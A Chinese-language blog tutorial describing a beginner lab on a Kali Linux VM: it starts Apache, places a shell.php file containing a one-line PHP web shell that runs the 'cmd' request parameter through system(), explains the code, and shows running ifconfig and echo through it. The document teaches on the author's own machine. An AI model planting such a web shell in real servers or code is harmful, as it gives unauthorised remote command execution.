简单渗透实验——kali一句话木马实现远程操控

简单渗透实验——kali一句话木马实现远程操控

实验设备

一台装有Kali Linux虚拟机的电脑

实验步骤

一、开启Kali Linux 的apache

使用Kali的终端,输入代码

service apache2 start

如图请添加图片描述
二、apache服务开启后,可用物理机访问虚拟机的ip,我这里的ip是172.XX.XX.XX,在浏览器上访问,局部图如下请添加图片描述
三、在Kali的文件系统里面,/var/www/html/目录即为物理机访问的地址,正常情况下直接访问是进入的索引界面,既index.html,现在往虚拟机里面放入一个php文件,可以将其命名为shell.php文件内包含一句话代码:

<?php
system($_REQUEST ['cmd']);
?> 

对这段代码分析:

<?php 和 ?>:

这是PHP代码的开头和结尾标记。所有在这之间的内容都将被PHP解释器执行。
system() 函数:
system() 是PHP中的一个函数,用于执行外部程序,并显示输出。它接受一个字符串参数,该字符串代表要执行的命令。
例如,system(‘ls -la’) 将在类Unix系统上列出当前目录的文件和目录。
$ _ REQUEST 数组:
$ _REQUEST 是一个包含了GET、POST和COOKIE数据的数组。这意味着,如果请求中包含名为cmd的GET参数、POST参数或COOKIE,其值都将被 $ _REQUEST[‘cmd’]获取。(注意半角全角)
例如,如果URL是http://example.com/page.php?cmd=ls -la,那么$_REQUEST[‘cmd’]的值将是ls -la。

请添加图片描述
请添加图片描述
四、这时候物理机已经完全可以骇入Kali了,可以通过访问shell.php来远程操控Kali,下面举例一些操控的例子:
1、通过使用ifconfig查看IP信息
在这里插入图片描述
2、通过echo 输出haha
在这里插入图片描述

扩展知识

Linux Apache服务详解
PHP数据接收变量$ _GET、$ _POST 、$_REQUEST区别

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值